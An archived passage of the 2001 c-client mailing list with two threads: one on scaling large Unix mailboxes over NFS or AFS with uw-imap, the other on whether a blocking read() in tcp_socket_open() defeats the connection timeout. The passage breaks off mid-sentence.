f7SAo20116042 for ; Tue, 28 Aug 2001 03:50:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7SAo2q28535 for ; Tue, 28 Aug 2001 03:50:02 -0700 Received: FROM mx1.cac.washington.edu BY mxu4.u.washington.edu ; Tue Aug 28 03:50:01 2001 -0700 Received: from alta.gre.ac.uk (alta.gre.ac.uk [193.60.48.95]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7SAo0N29750 for ; Tue, 28 Aug 2001 03:50:01 -0700 Received: from blixa.cms.gre.ac.uk ([193.60.76.130]) by alta.gre.ac.uk with esmtp (Exim 3.01 #1) id 15bgRS-0006Ow-00; Tue, 28 Aug 2001 11:49:58 +0100 Received: (from ds19@localhost) by blixa.cms.gre.ac.uk (8.9.3/8.9.3) id LAA01787; Tue, 28 Aug 2001 11:49:58 +0100 (BST) Message-Id: <20010828114957.C1429@gre.ac.uk> Date: Tue, 28 Aug 2001 11:49:58 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Surinder S. Dio" To: David Carter Cc: c-client@CAC.Washington.EDU Subject: Re: AFS (instead of NFS) and mbox - more details In-Reply-To: ; from dpc22@cam.ac.uk on Tue, Aug 28, 2001 at 09:50:29AM +0100 References: <20010826141142.A23523@gre.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Echelon: NSA White House CIA Carnivore FBI DOD ATF Echelon X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, Firstly thanks for the reply - I got a number of other replies via private email and it seems that there's quite a few people in a similar situation. [Apologies for all the details that follow - I thought it might help in explaining my issues]. On Tue, Aug 28, 2001 at 09:50:29AM +0100, David Carter wrote: > On Sun, 26 Aug 2001 S.S.Dio@gre.ac.uk wrote: > > > I'm running into problems with many of my users - whose mail boxes are > > getting very large in size (100's of megabytes). > > I'm amazed that mailboxes this size work at all over NFS. Are you using > Gigabit ethernet as a backbone? All the hosts are currently switched 100Mb ethernet, I'm planning a move to gigabit over the next year for all the servers at least. It does work - and actually not too badly as it currently goes - it's just the larger (and these are users who are sending and receiving huge powerpoint *arrgh* type files - thus filling up mailboxes very rapidly) mailboxes that are suffering. Maybe I could just take a moment to explain my setup -I know that some of this might make eyebrow's rise - the following is a result of history, lack of funding and making the best of it to the best of ones capability :-) The MTA in use is exim and this is setup to deliver mail to users homeareas to ~/.Mailbox. This is considered to be the users InBox, mail folders live under ~/Mail directory. The homeareas are served via NFS from a variety of servers - but most of them are currently sun ultra 5's with multi disk packs hanging of them - a few are sparc 20 systems - all disks are ultrawide scsi. In total we're talking approx 500Gb of homeareas - distributed amongst NFS servers and multi disk packs designated for staff, student and research use. This is departmental use only and not for whole institution. I will be migrating to A1000 raid on some of these and upgrading the spec of the NFS servers as well (netra's maybe)- but on a piecemeal basis as and when I can scrape resources together from various parties - such is academia. As well as receiving mail, these homeareas are receiving a battering from normal use - esp on the researcher side - where we can have files of many Gbytes being read/written to. There is a dedicated imap (uw-imap) server - which I've configured to pick up mail from the above specified locations. Additionally there is a separate webmail (IMP) server. This has proved to be very popular with staff and is now planned to roll out to students as well. These will be dual SunBlade 600 type systems - with plenty of memory to support IMP and the student imap server. There is a distinct separation between staff (inc research)and student mail services. Users are free to use an imap client (netscape, outlook,etc) or webmail. Additionally there is a whole set of "power" email users, like myself dedicated to the one true mailer - mutt. They will run this on variety of desktops, servers etc and it will pick up their mail via NFS/automount. It actually holds together pretty well - but the real problems are on the imap server - it hits high loads, esp when large mail boxes are being loaded. Also members of staff will use multiple mailers from multiple locations - ie leave themselves logged into Outlool/Imap at work and use Webmail from home - I've advised against this; though I havent had any corruptions - I'm assuming that uw-imap is dealing with all the necessary locking issues (as it exim trying to deliver to their .Mailbox - when an imap write occurs). > Yep. I suspect that AFS would have a hard time as well. MBX uses file > locking really hard, and this is the thing that tends to be most fragile > on distributed filesystems. ".lock" files are much more reliable on > NFS. Thanks - thats what I suspected but I wasnt sure. > > > Anybody have any other suggestions on scaling this type of setup - > > considering that I'm not in position to move to one large mail spool > > somewhere - certainly not for a long time and without plenty of > > planning. > > An brief aside, before MRC comes down on me like a ton of bricks: > > I inherited a mail infrastructure based on NFS, and came to the conclusion > quite rapidly that this is not the correct way to do things. Modern NFS > appliances may be able to cope with the heavy workload, but its still a > desperately inefficient way to ship data compared to an IMAP proxy or > better still telling users to connect directly to the relevant > server. I'm not sure what an IMAP proxy is - is this a piece of software/hardware sitting in front of the imap server and "caching" on imap? I've never come across this before. > Aside other: We introduced index files on unix format mail folders about > 18 months back, a local hack. Pine and the POP and IMAP daemons load a > short index file (typically a few Kbytes in size) rather than the entire > mailfolder. A separate file provides an ENVELOPE cache for folder listing > display and clients which like to thread messages. There's a 3 x write > penalty for certain update operations, but the same is true for the Cyrus > server. This seems to have made a huge difference for large > mailfolders. This sounds quite interesting - anything that can help on the large mailboxes would be most welcome. Is there any selective way to apply this - ie if a mailbox reaches a certain size or is it a all or nothing scenario *actually thinking about that - that could be tricky*. > I wouldn't recommend this as a long term solution: we plan to move to a > cluster of systems without NFS (and probably using MBX) as the next > generation of our mail infrastructure. However if you are in bind, I would > be willing to donate my code as a stop-gap measure. I'd appreciate a look - if only to see if it I could buy myself sometime. Would you mind expanding on your proposed cluster system (if you can) as I'm starting to look at alternatives. Is the cluster a dedicated mail spool and all other homearea type functions dealt with in the normal distributed filesystem way? I would like to go for a few dedicated large servers (sun e220/440 etc) with hardware raid 5. These would hold the homeareas and be configured with a large quota'd mail spool. Then imap/exim can run locally on the servers - avoiding the NFS issues. However I do like the way disk storage is currently distributed around several servers - it helps with load issues and makes managing the disk space quite easy. It also wont be painless to migrate away from the current setup. However for those users that want to use mutt etc then this will mean us having to ssh into these servers and running our mail client there, this then opens up the whole server to users running other tasks - and they will try and find compute resource wherever they can. Something else that would need dealing with :-( Ideally I guess what is required for my situation is a NFS compatible, high performance mail format - and for it to be supported by uw-imap, exim/postfix etc. It will be also love large mail folders :-) Apologies for the length of this post. I'm fishing for ideas on a good way forward for us. Rgds Surinder From pinedev@shivax2.cac.washington.edu Tue Aug 28 04:35:12 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Aug 2001 04:35:11 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7SBZ9n28882 for ; Tue, 28 Aug 2001 04:35:09 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 28 04:35:08 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7SBZ2E26330; Tue, 28 Aug 2001 04:35:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7SBYsp32506; Tue, 28 Aug 2001 04:34:54 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7SBY9076602 for ; Tue, 28 Aug 2001 04:34:09 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7SBY9q01270 for ; Tue, 28 Aug 2001 04:34:09 -0700 Received: FROM mx1.cac.washington.edu BY mxu4.u.washington.edu ; Tue Aug 28 04:34:09 2001 -0700 Received: from orange.csi.cam.ac.uk (exim@orange.csi.cam.ac.uk [131.111.8.77]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7SBY8N30792 for ; Tue, 28 Aug 2001 04:34:08 -0700 Received: from dpc22 (helo=localhost) by orange.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 15bh4Y-0006nq-00; Tue, 28 Aug 2001 12:30:22 +0100 Message-Id: Date: Tue, 28 Aug 2001 12:30:22 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Carter To: "Surinder S. Dio" Cc: Subject: Re: AFS (instead of NFS) and mbox - more details In-Reply-To: <20010828114957.C1429@gre.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: David Carter X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 28 Aug 2001, Surinder S. Dio wrote: > There is a dedicated imap (uw-imap) server - which I've configured to > pick up mail from the above specified locations. Additionally there is > a separate webmail (IMP) server. IMP has the particularly amusing habit of reconnecting to the IMAP server several times for each HTTP request. I'm sure that this isn't helping you. > I'm not sure what an IMAP proxy is - is this a piece of > software/hardware sitting in front of the imap server and "caching" on > imap? I've never come across this before. A piece of software that allows you to advertise an existing DNS service name to users, but which transparently redirects the IMAP session to a backend server (using IMAP referrals as an optimisation if the client supports them). Something like: "http://vergenet.net/linux/perdition/". Telling your users to connect directly to the correct IMAP server is a better solution if you can arrange it. However you may have political complications if your users are used to an existing scheme and it appears to all "work just fine" from their perspective. There are a few advantages in having a mail system that is clearly creaking at the seams :). I understand that Washington use and recommend "username.servicename" DNS mapping to hide the details. This seems an entirely sensible approach. > I'd appreciate a look - if only to see if it I could buy myself sometime. > > Would you mind expanding on your proposed cluster system (if you can) > as I'm starting to look at alternatives. Is the cluster a dedicated > mail spool and all other homearea type functions dealt with in the > normal distributed filesystem way? I'll have a separate chat with you about this rather than boring the rest of the list with details. -- David Carter Email: David.Carter@ucs.cam.ac.uk University Computing Service, Phone: (01223) 334502 New Museums Site, Pembroke Street, Fax: (01223) 334679 Cambridge UK. CB2 3QG. From pinedev@shivax2.cac.washington.edu Tue Aug 28 09:03:49 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Aug 2001 09:03:49 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7SG3mn08021 for ; Tue, 28 Aug 2001 09:03:48 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 28 09:03:47 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7SG3iN05251; Tue, 28 Aug 2001 09:03:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7SG3bH37578; Tue, 28 Aug 2001 09:03:37 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7SG2n087460 for ; Tue, 28 Aug 2001 09:02:49 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7SG2nq03911 for ; Tue, 28 Aug 2001 09:02:49 -0700 Received: FROM shiva.jussieu.fr BY mxu4.u.washington.edu ; Tue Aug 28 09:02:47 2001 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f7SG2kO66445 for ; Tue, 28 Aug 2001 18:02:46 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f7SG2jX21822 for ; Tue, 28 Aug 2001 18:02:45 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id SAA30722 ; Tue, 28 Aug 2001 18:02:45 +0200 Message-Id: <200108281602.SAA30722@seth.lpthe.jussieu.fr> Date: Tue, 28 Aug 2001 18:02:45 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Subject: blocking read in tcp_socket_open() (tcp_unix.c) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, There is a bug in tcp_socket_open() function implementation for Unix (in imap2000b and also the imap2001 snapshot I have): it doesn't respect the open timeout value. The reason is that it does a blocking read immediately after (successful) select() return and this read() can, and does, block for arbitrarily long period of time here (Linux 2.2). I don't really understand the purpose of this check but assuming it is useful, why not make it zero-byte for all platforms except Solaris (where, according to the comment in the file, read(0) crashes)? The current situation is hardly acceptable as my program may be blocked for several _minutes_ in tcp_socket_open() before returning with an error. I'd be grateful if something could be done about it. Thank you, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 28 14:29:58 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Aug 2001 14:29:57 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7SLTtn24993 for ; Tue, 28 Aug 2001 14:29:56 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 28 14:29:55 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7SLTrE13465; Tue, 28 Aug 2001 14:29:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7SLTFE26784; Tue, 28 Aug 2001 14:29:16 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7SLS8072796 for ; Tue, 28 Aug 2001 14:28:08 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7SLS8n15300 for ; Tue, 28 Aug 2001 14:28:08 -0700 Received: FROM mx2.cac.washington.edu BY mxu3.u.washington.edu ; Tue Aug 28 14:28:07 2001 -0700 Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7SLS6E13410 for ; Tue, 28 Aug 2001 14:28:07 -0700 Received: from westmail2.West.Sun.COM ([129.153.100.30]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA12646; Tue, 28 Aug 2001 15:27:57 -0600 (MDT) Received: from nifty-jr.west.sun.com (nifty-jr.West.Sun.COM [129.153.12.95]) by westmail2.West.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA01151; Tue, 28 Aug 2001 14:28:00 -0700 (PDT) Message-Id: <688852.999008628@nifty-jr.west.sun.com> Date: Tue, 28 Aug 2001 14:23:48 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Newman To: S.S.Dio@gre.ac.uk, c-client@CAC.Washington.EDU Subject: Re: AFS (instead of NFS) and mbox In-Reply-To: <20010826141142.A23523@gre.ac.uk> References: <20010826141142.A23523@gre.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN AFS gets its scalability boost over NFS by having a cache optimized for a small working set of files. As a result, the cache will actually result in a significant slowdown for email delivery since there's no small working set. Expect to add more and more delivery servers which will put more and more load on your AFS servers (which have to break callbacks to the unusually large working set of files). If you get too many users, the entire filesystem will collapse under the email load (yes, I've seen this happen, admittedly with AMS rather than mbx). Putting email on distributed filesystems is a bad idea. The data models between file access and email access are simply too different. The system as a whole ends up sufficiently complex that diagnostics are difficult and you'll end up being on your own if a problem occurs. Horizontal scalability is best achieved with a DNS hack (like UW does) or a good IMAP proxy (like CMU does). - Chris --On Sunday, August 26, 2001 14:11 +0100 S.S.Dio@gre.ac.uk wrote: > I'm running into problems with many of my users - whose mail boxes are > getting very large in size (100's of megabytes). I employ NFS to deal > with home area - which is where mail lives and as such I'm using trad. > unix mail format for the mail boxes as everything I've read indicates > that mbx format will 'kill' NFS. > > I'm not really in a position to move away from the mail deliveries to > home areas so was wondering if using a file systems such as AFS instead > of NFS would ewnable me to use mbx reliably? > > Does anyone have any experience in this? I'm not sure at what point (file > size) the unix format becomes inefficient - is there a recommended max > size and I could then try and get users to try and stick to these limits > - I know they wont :-( > > Anybody have any other suggestions on scaling this type of setup - > considering that I'm not in position to move to one large mail spool > somewhere - certainly not for a long time and without plenty of planning. > > Thanks > Surinder > > PS. I'm currently on uw-imap 2000-c - and will shortly be upgrading to > the latest 2001 snapshot - maybe this might help somewhat? From pinedev@shivax2.cac.washington.edu Tue Aug 28 20:45:47 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Aug 2001 20:45:47 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7T3jkn09522 for ; Tue, 28 Aug 2001 20:45:46 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 28 20:45:45 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7T3jgE25668; Tue, 28 Aug 2001 20:45:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7T3ilp10536; Tue, 28 Aug 2001 20:44:47 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7T3hd062548 for ; Tue, 28 Aug 2001 20:43:39 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7T3hdn18637 for ; Tue, 28 Aug 2001 20:43:39 -0700 Received: FROM mxout2.cac.washington.edu BY mxu3.u.washington.edu ; Tue Aug 28 20:43:39 2001 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7T3hc406676; Tue, 28 Aug 2001 20:43:38 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (lamarth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7T3hcC01890; Tue, 28 Aug 2001 20:43:38 -0700 Message-Id: Date: Tue, 28 Aug 2001 20:30:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Subject: re: blocking read in tcp_socket_open() (tcp_unix.c) In-Reply-To: <200108281602.SAA30722@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I think that you are confused; what you claim is a "bug" in tcp_socket_open() is not a bug. The read() isn't done unless the select() returns either data available to read or error on the socket. Furthermore, every protocol has a startup message from server to client immediately after session open, so there will be data on the socket promptly in any case. It would certainly not be "minutes" in any case. The purpose of the read() is to make sure that tcp_open() does not return successful unless the connection is open. Since a non-blocking connect() was done in order to implement open timeout via select(), there is no indication otherwise whether the connection actually opened. It doesn't matter whether it is read() of 0 bytes or 1 byte; that read will not return until there is definitely an error or definitely data. But the previous select() won't supposed to return either in that case. As I said above, I think that you are confused. I'm sure that you are seeing a problem, but I need more information to diagnose it. For example, how did you conclude that that read() is the cause of your "minutes" of delay? Are you aware of the rsh-IMAP feature, and have you verified that that isn't the problem? From pinedev@shivax2.cac.washington.edu Wed Aug 29 04:08:10 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Aug 2001 04:08:10 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7TB89n00452 for ; Wed, 29 Aug 2001 04:08:09 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Aug 29 04:08:08 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7TB86N08086; Wed, 29 Aug 2001 04:08:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7TB7cE20172; Wed, 29 Aug 2001 04:07:39 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7TB5f0117338 for ; Wed, 29 Aug 2001 04:05:41 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7TB5fq07839 for ; Wed, 29 Aug 2001 04:05:41 -0700 Received: FROM ariane.ens-cachan.fr BY mxu4.u.washington.edu ; Wed Aug 29 04:05:40 2001 -0700 Received: from piano.dptmaths.ens-cachan.fr (piano.dptmaths.ens-cachan.fr [138.231.32.2]) by ariane.ens-cachan.fr (8.12.0.Beta7/jtpda-5.3.3) with ESMTP id f7TB5dpa013664 for ; Wed, 29 Aug 2001 13:05:39 +0200 Received: from localhost (localhost [127.0.0.1]) by piano.dptmaths.ens-cachan.fr (8.9.1a/jtpda-5.3.2) with SMTP id NAA03320 for ; Wed, 29 Aug 2001 13:04:42 +0200 (MET DST) Message-Id: Date: Wed, 29 Aug 2001 13:04:41 +0200 (MET DST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Subject: re: blocking read in tcp_socket_open() (tcp_unix.c) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 28 Aug 2001, Mark Crispin wrote: > I think that you are confused; what you claim is a "bug" in tcp_socket_open() > is not a bug. The read() isn't done unless the select() returns either data > available to read or error on the socket. Furthermore, every protocol has a > startup message from server to client immediately after session open, so there > will be data on the socket promptly in any case. It would certainly not be > "minutes" in any case. Well, I agree with this and it was my understanding of the code when I tried to hunt down this problem before. However yesterday I saw that it was blocking inside this read() and it was sitting there for a really long time - at least a couple of minutes. > The purpose of the read() is to make sure that tcp_open() does not return > successful unless the connection is open. Since a non-blocking connect() was > done in order to implement open timeout via select(), there is no indication > otherwise whether the connection actually opened. Sorry, I still don't understand. If select() returns that input is available, why can't we assume that the connection was actually opened? > It doesn't matter whether it is read() of 0 bytes or 1 byte; that read will > not return until there is definitely an error or definitely data. Yes, but it can take a long time for it to determine this... > But the previous select() won't supposed to return either in that case. Except that it will return after a (short) timeout in either case. > As I said above, I think that you are confused. I'm sure that you are seeing > a problem, but I need more information to diagnose it. For example, how did > you conclude that that read() is the cause of your "minutes" of delay? I've waited for some time (~30 seconds) and then broke into debugger. gdb showed that the program was inside read(). I've put a breakpoint on the next line in tcp_socket_open() and continued the program - the breakpoint was hit after another minute or so. It is hard to reproduce this bug but it's not the first time it happens. However thinking a bit more about it, I think I understand the problem: the IMAP server I use is rather flaky (it's under my ISP control. not mine, so I can hardly do anything about it) and it seems that it is just overloaded, so sometimes there may be long pauses (although normally it's rather fast). During normal operation it leads to timeouts and "connection lost" messages but if it happens right after the connection the client just blocks as the TCP connection is well alive but nothing comes over it. You will probably argue that it's not a network problem then but I believe that timeouts should still apply - how can a [single threaded] client cope with this situation otherwise? > Are > you aware of the rsh-IMAP feature, and have you verified that that isn't the > problem? Yes, disabling rsh in my client was the first thing I did (although it is off topic, I really don't think this should be enabled by default - just how many servers support it nowawdays and how often is it useful?). BTW, another OT gripe: the ISP server I use (imap.online.fr) has 3 IP addresses. Normally this is just fine but if the network is completely down (i.e. the modem hung up) c-client tries to connect to each of these addresses in turn although it is clear that it can't succeed. Is there any way to disable this behaviour (ideally it should be smart enough to distinguish between various network problems but this would be difficult)? Thank you, VZ From pinedev@shivax2.cac.washington.edu Wed Aug 29 20:04:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Aug 2001 20:04:17 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7U34Gn26753 for ; Wed, 29 Aug 2001 20:04:16 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Aug 29 20:04:15 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7U34DB09516; Wed, 29 Aug 2001 20:04:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7U33wp19762; Wed, 29 Aug 2001 20:03:58 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7U332033584 for ; Wed, 29 Aug 2001 20:03:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7U331q05630 for ; Wed, 29 Aug 2001 20:03:01 -0700 Received: FROM mxout1.cac.washington.edu BY mxu4.u.washington.edu ; Wed Aug 29 20:03:00 2001 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7U330i22145; Wed, 29 Aug 2001 20:03:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (royk@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7U330A23450; Wed, 29 Aug 2001 20:03:00 -0700 Message-Id: Date: Wed, 29 Aug 2001 19:41:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Subject: re: blocking read in tcp_socket_open() (tcp_unix.c) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 29 Aug 2001 13:04:41 +0200 (MET DST), Vadim Zeitlin wrote: > Sorry, I still don't understand. If select() returns that input is > available, why can't we assume that the connection was actually opened? select() returns that there is either an error on the connection or there is data to be read. The reason for using non-blocking connect() and select() is so that open timeouts would be implemented. Otherwise, you'd be stuck with the fixed UNIX default of 75 seconds. The downside is that if there is an error, there's no way to find that fact out until you try to read() or write() to the connection. Hence the 1-byte read(). It's the only way to know whether or not the connection is actually open. > However thinking a bit more about it, I think I understand the problem: > the IMAP server I use is rather flaky (it's under my ISP control. not mine, > so I can hardly do anything about it) and it seems that it is just > overloaded, so sometimes there may be long pauses (although normally it's > rather fast). During normal operation it leads to timeouts and "connection > lost" messages but if it happens right after the connection the client just > blocks as the TCP connection is well alive but nothing comes over it. The most likely explanation for what is happening is this: You have network connectivity problems, and these problems cause ICMP destination unreachable signals. ICMP destination unreachable causes a blocking connect() to fail, but is completely ignored by read() and write() (since otherwise a transitory router flap would nuke your connection -- this was a major bug in BSD UNIX on LANs in the late 1980s). But, since the connect() was non-blocking, it doesn't get the error. The error causes the select() (which implements the timeout) to complete, and 